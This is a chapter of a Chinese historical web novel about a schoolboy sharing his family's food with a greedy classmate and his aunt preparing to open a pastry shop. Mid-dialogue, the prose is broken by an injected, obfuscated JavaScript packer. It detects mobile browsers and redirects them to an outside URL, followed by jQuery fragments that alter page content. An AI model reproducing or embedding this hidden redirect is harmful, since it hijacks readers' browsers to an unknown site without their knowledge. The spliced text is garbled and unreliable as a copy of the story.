此时流行分食制，没有后世聚餐时你一筷子我一筷子的习俗，所以他也未曾想过与同窗分享。 这个年纪的孩子正在长身体，大多与沈令文相反，食量惊人，一口能吃下一头牛。他前侧方的同窗便是出了名的大胃，每日都要嚷嚷公厨的午食不够吃。 此时见沈令文终于停筷，在“吃别人剩菜丢面”和“失节事小饿死是大”里纠结，很快做出选择。 “尔正，你那菜瞧着新鲜，不知口味如何？” 大胃王同窗为人大度爽朗，人缘好，沈令文跟他关系也不错，便耐心回答：“此菜酸甜咸鲜，茄瓜极其软烂入味……” 却不想人家就是想尝一口，不是让他讲解。对方听他这么说，越听越馋，受不了了：“哎，今日公厨午食依旧小气，我还未觉饱腹，就已吃光，看来下午又要饿得头晕眼花。” 好奇怪，沈令文觉得自己听出了他的暗示，但又不敢相信有人想吃自己的剩菜。他试探着问：“这半边的菜，我未动筷碰过，你要不捡一个尝尝味？” 话音没落，长筷已至眼前，夹起芥菜肉丸，留下一道残影。 好快的身手，难怪生得牛高马大，祖上能文能武。 新鲜的食物香，别人碗里的食物更香。也不知是调料还是肉的功劳，往日嫌弃的芥菜也沾光变得鲜香，比以前吃过的所有圆子都好吃。 本来就没吃饱，馋虫又勾起来了。 “再尝一口。”他道，筷子又来，夹走丸子。什么时候豚肉变得如此好吃了，难道沈府买的猪和他府上的猪不一样？ 说是一口，实则面上的丸子全扫走了。 沈令文默默伸手，把碗往他那边推了点。 这样吃起来终究不过瘾，对方又吃了几口，索性把饭碗端来：“我再品品另一道菜。” 沈令文有些犹豫。冒菜他夹了一半，另一半没碰，但是鱼香茄子筷子一碰就烂了，很难干干净净取食：“这碗菜我都动过筷… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261030|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “我俩之间，何必介意？愿车马衣轻裘与朋友共，敝之而无憾。”硬套了一句圣人言，便动筷刨走小半碗。 行叭……沈令文用目光扫过看热闹的人群，众人纷纷避开，也不知心里在想什么。 酸甜咸口很下饭，同窗很快就把稻米饭唏哩呼噜刨完，脚步轻快地跑去添饭。 一边让杂役多添点，一边嘀咕抱怨：“若是公厨能做到一半的滋味，也不至于每日剩这么多稻米饭了。” 杂役在心头翻白眼，公家管饭，那也是分级别的。政事堂吃得好，你倒是去呀。嘴上假尊敬地道：“等以后小郎君入仕做官，外放去富裕州郡，各种特色尝个遍。”地方拨款可不像京城那么严格，全靠刺史怎么盘算。 打完饭，把剩下的菜解决了，舌头和肚子都得到满足。对方和沈令文的关系迅速拉近，厚颜无耻道：“反正尔正你胃口小，吃不完也是浪费，明日用餐前先拨小半份儿给我，我替你解忧。” 沈令文委婉道：“……明日不是这些菜了，说不定不合你口味。” “我不挑嘴的。”假装听不懂暗示。 沈令文还想说什么，对方已经搂上他的肩膀，一幅哥俩好的模样。一粗一细黏一块儿，活像一对碗筷。 傍晚沈令文回府，提盒是送到三房小厨房处理的。小厨房一看，谁说二郎胃口小，这么多都吃完了？！ 祝明璃本来只是想问合不合口味，听到小厨房这么说，震惊地想，果然半大小子吃穷老子。 于是翌日，沈令文不仅带了提盒，还带了些面包和三明治，方便课间饿了垫垫肚子。 一下课，就有人黏过来了：“你这个竹筐里装的什么？” 行吧，这下甜糕是不能吃独食的了，离得近的一人一块。 大家那叫一个赞不绝口，问沈府是不是去苏杭找的糕点娘子。 沈令文想到昨晚和阿姐聊天时，阿姐提到三叔母要开糕肆的事，便道：“不是，是三叔母琢磨的食谱，说是过些时日准备在糕肆里卖。” “哪个糕肆？”大伙异口同声道。 沈令文：“这倒是不清楚……” 把大家给急得啊：“你回府问清楚呀，你三叔母待你如此好，你怎么毫不关心？” 好大一口黑锅！ 沈令文擦汗：“我晚上回去仔细问问。” 这个举动倒是帮祝明璃的糕肆提前预热了一把，加上沈令仪的好友们，第一波客源在还未开业前就已营销到了。 对此，祝明璃毫不知情，还在忐忑糕肆的开业。 她不能成日往铺面里钻盯装修进度，等到五日后绿绮汇报修缮得差不多了，她才换衣裳乘车过去。 店肆已焕然一新，朽木修补，墙面刷白，家具更换，全然认不出之前药铺的模样。后院按照烘焙小作坊等比例建好，房间也修缮完毕，方便值班小厨娘休息。 转了一圈，祝明璃心里有了底儿，站在门口抬头望向店铺上方：“再打块招牌，就可以开业啦。”